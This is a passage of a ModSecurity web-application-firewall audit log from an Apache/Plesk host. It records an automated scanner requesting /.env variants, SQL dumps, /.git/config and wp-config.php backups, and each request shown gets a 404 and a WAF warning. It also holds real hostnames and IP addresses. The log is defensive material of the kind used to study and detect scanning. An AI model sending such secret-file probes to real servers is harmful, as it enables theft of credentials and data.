AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --1181434e-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --1181434e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.dev"] [unique_id "aE9ViUoyC4_VyyL7sS6NXAAAAAI"] Stopwatch: 1750029705613724 2628 (- - -) Stopwatch2: 1750029705613724 2628; combined=1539, p1=320, p2=1140, p3=17, p4=18, p5=44, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1181434e-Z-- --4437295f-A-- [16/Jun/2025:04:51:46.058868 +0530] aE9Vivkk7JsP-DN1XGMnCQAAAAo 213.35.102.172 34492 127.0.0.1 7080 --4437295f-B-- GET /.env.development HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --4437295f-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --4437295f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.development"] [unique_id "aE9Vivkk7JsP-DN1XGMnCQAAAAo"] Stopwatch: 1750029706055850 3066 (- - -) Stopwatch2: 1750029706055850 3066; combined=1836, p1=376, p2=1364, p3=18, p4=32, p5=46, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4437295f-Z-- --3c9ed518-A-- [16/Jun/2025:04:51:46.482546 +0530] aE9VirV9qKUox3X8g1YonwAAAAg 213.35.102.172 34504 127.0.0.1 7080 --3c9ed518-B-- GET /.env.local HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --3c9ed518-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --3c9ed518-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.local"] [unique_id "aE9VirV9qKUox3X8g1YonwAAAAg"] Stopwatch: 1750029706479023 3584 (- - -) Stopwatch2: 1750029706479023 3584; combined=2102, p1=483, p2=1503, p3=25, p4=35, p5=56, sr=140, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c9ed518-Z-- --7e8b4b60-A-- [16/Jun/2025:04:51:46.949969 +0530] aE9VikoyC4_VyyL7sS6NXQAAAAI 213.35.102.172 34518 127.0.0.1 7080 --7e8b4b60-B-- GET /.env.prod HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --7e8b4b60-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --7e8b4b60-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.prod"] [unique_id "aE9VikoyC4_VyyL7sS6NXQAAAAI"] Stopwatch: 1750029706947173 2872 (- - -) Stopwatch2: 1750029706947173 2872; combined=1657, p1=355, p2=1217, p3=20, p4=20, p5=45, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7e8b4b60-Z-- --b9d5eb4d-A-- [16/Jun/2025:04:51:47.417054 +0530] aE9Vi_kk7JsP-DN1XGMnCgAAAAo 213.35.102.172 34530 127.0.0.1 7080 --b9d5eb4d-B-- GET /.env.production HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --b9d5eb4d-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --b9d5eb4d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.production"] [unique_id "aE9Vi_kk7JsP-DN1XGMnCgAAAAo"] Stopwatch: 1750029707413810 3314 (- - -) Stopwatch2: 1750029707413810 3314; combined=2088, p1=389, p2=1603, p3=20, p4=29, p5=47, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9d5eb4d-Z-- --1609a655-A-- [16/Jun/2025:04:51:47.841504 +0530] aE9Vi7BfUm2FdhH5voEUfgAAAAU 213.35.102.172 34532 127.0.0.1 7080 --1609a655-B-- GET /.env.staging HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --1609a655-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --1609a655-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.staging"] [unique_id "aE9Vi7BfUm2FdhH5voEUfgAAAAU"] Stopwatch: 1750029707838223 3331 (- - -) Stopwatch2: 1750029707838223 3331; combined=2053, p1=400, p2=1540, p3=24, p4=32, p5=56, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1609a655-Z-- --83ff5b6d-A-- [16/Jun/2025:04:51:48.247230 +0530] aE9VjPkk7JsP-DN1XGMnCwAAAAo 213.35.102.172 34542 127.0.0.1 7080 --83ff5b6d-B-- GET /.env.test HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --83ff5b6d-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --83ff5b6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.test"] [unique_id "aE9VjPkk7JsP-DN1XGMnCwAAAAo"] Stopwatch: 1750029708244408 2875 (- - -) Stopwatch2: 1750029708244408 2875; combined=1674, p1=364, p2=1200, p3=21, p4=21, p5=68, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83ff5b6d-Z-- --c0cc8107-A-- [16/Jun/2025:04:51:48.653764 +0530] aE9VjLV9qKUox3X8g1YooQAAAAg 213.35.102.172 34548 127.0.0.1 7080 --c0cc8107-B-- GET /.env.example HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --c0cc8107-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --c0cc8107-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.env.example"] [unique_id "aE9VjLV9qKUox3X8g1YooQAAAAg"] Stopwatch: 1750029708650758 3077 (- - -) Stopwatch2: 1750029708650758 3077; combined=1836, p1=385, p2=1327, p3=21, p4=32, p5=71, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0cc8107-Z-- --f835e175-A-- [16/Jun/2025:04:51:54.523556 +0530] aE9VkuxC6fQU5wYvxvl01wAAAAk 213.35.102.172 44180 127.0.0.1 7080 --f835e175-B-- GET /db.sql HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --f835e175-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --f835e175-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/db.sql"] [unique_id "aE9VkuxC6fQU5wYvxvl01wAAAAk"] Stopwatch: 1750029714520395 3207 (- - -) Stopwatch2: 1750029714520395 3207; combined=1928, p1=388, p2=1441, p3=23, p4=23, p5=52, sr=142, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f835e175-Z-- --686fba59-A-- [16/Jun/2025:04:51:56.241535 +0530] aE9VlFxTdrwJSUMoZvG2kgAAAAc 213.35.102.172 44216 127.0.0.1 7080 --686fba59-B-- GET /data.backup HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --686fba59-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --686fba59-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/data.backup"] [unique_id "aE9VlFxTdrwJSUMoZvG2kgAAAAc"] Stopwatch: 1750029716239158 2421 (- - -) Stopwatch2: 1750029716239158 2421; combined=1470, p1=285, p2=1095, p3=20, p4=21, p5=49, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --686fba59-Z-- --e247250e-A-- [16/Jun/2025:04:51:58.002937 +0530] aE9VlbBfUm2FdhH5voEUhQAAAAU 213.35.102.172 44268 127.0.0.1 7080 --e247250e-B-- GET /test.sql HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --e247250e-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --e247250e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/test.sql"] [unique_id "aE9VlbBfUm2FdhH5voEUhQAAAAU"] Stopwatch: 1750029717999999 2993 (- - -) Stopwatch2: 1750029717999999 2993; combined=1776, p1=333, p2=1347, p3=21, p4=22, p5=53, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e247250e-Z-- --e60b5d20-A-- [16/Jun/2025:04:51:58.427550 +0530] aE9Vlvkk7JsP-DN1XGMnEwAAAAo 213.35.102.172 44278 127.0.0.1 7080 --e60b5d20-B-- GET /backup.sql HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --e60b5d20-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --e60b5d20-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/backup.sql"] [unique_id "aE9Vlvkk7JsP-DN1XGMnEwAAAAo"] Stopwatch: 1750029718424524 3071 (- - -) Stopwatch2: 1750029718424524 3071; combined=1870, p1=330, p2=1447, p3=22, p4=22, p5=49, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e60b5d20-Z-- --7f28be35-A-- [16/Jun/2025:04:51:59.769811 +0530] aE9Vl-xC6fQU5wYvxvl02wAAAAk 213.35.102.172 55262 127.0.0.1 7080 --7f28be35-B-- GET /.git/config HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --7f28be35-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --7f28be35-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.git/config"] [unique_id "aE9Vl-xC6fQU5wYvxvl02wAAAAk"] Stopwatch: 1750029719766908 2948 (- - -) Stopwatch2: 1750029719766908 2948; combined=1762, p1=408, p2=1260, p3=17, p4=27, p5=50, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7f28be35-Z-- --c6b31a2d-A-- [16/Jun/2025:04:52:01.152288 +0530] aE9VmbBfUm2FdhH5voEUhwAAAAU 213.35.102.172 55300 127.0.0.1 7080 --c6b31a2d-B-- GET /.ebextensions/environment.config HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --c6b31a2d-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --c6b31a2d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/.ebextensions/environment.config"] [unique_id "aE9VmbBfUm2FdhH5voEUhwAAAAU"] Stopwatch: 1750029721149174 3167 (- - -) Stopwatch2: 1750029721149174 3167; combined=1886, p1=335, p2=1440, p3=21, p4=27, p5=62, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6b31a2d-Z-- --61e2e213-A-- [16/Jun/2025:04:52:03.899209 +0530] aE9Vm1xTdrwJSUMoZvG2lwAAAAc 213.35.102.172 55362 127.0.0.1 7080 --61e2e213-B-- GET /config/wp-config.php HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --61e2e213-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --61e2e213-H-- Message: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/config/wp-config.php"] [unique_id "aE9Vm1xTdrwJSUMoZvG2lwAAAAc"] Stopwatch: 1750029723896877 2379 (- - -) Stopwatch2: 1750029723896877 2379; combined=1516, p1=330, p2=1099, p3=15, p4=23, p5=49, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61e2e213-Z-- --4bc4cd69-A-- [16/Jun/2025:04:52:04.325687 +0530] aE9VnFxTdrwJSUMoZvG2mAAAAAc 213.35.102.172 55364 127.0.0.1 7080 --4bc4cd69-B-- GET /wp-config.php.bak HTTP/1.0 Host: zen-noether.198-71-51-75.plesk.page X-Real-IP: 213.35.102.172 Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --4bc4cd69-F-- HTTP/1.1 404 Not Found Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 --4bc4cd69-H-- Message: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/wp-config.php.bak"] [unique_id "aE9VnFxTdrwJSUMoZvG2mAAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||zen-noether.198-71-51-75.plesk.page|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "zen-noether.198-71-51-75.plesk.page"] [uri "/wp-config.php.bak"] [unique_id "aE9VnFxTdrwJSUMoZvG2mAAAAAc"] Stopwatch: 1750029724322326 3407 (- - -) Stopwatch2: 1750029724322326 3407; combined=2123, p1=393, p2=1600, p3=21, p4=29, p5=80, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4bc4cd69-Z-- --1189a54d-A-- [16/Jun/2025:04:52:08.778992 +0530] aE9Vn_kk7JsP-DN1XGMnHQAAAAo 128.199.112.101 46898 127.0.0.1 7081 --1189a54d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1189a54d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1189a54d-H-- Message: Warning. Operator EQ matched 0 at IP. [file 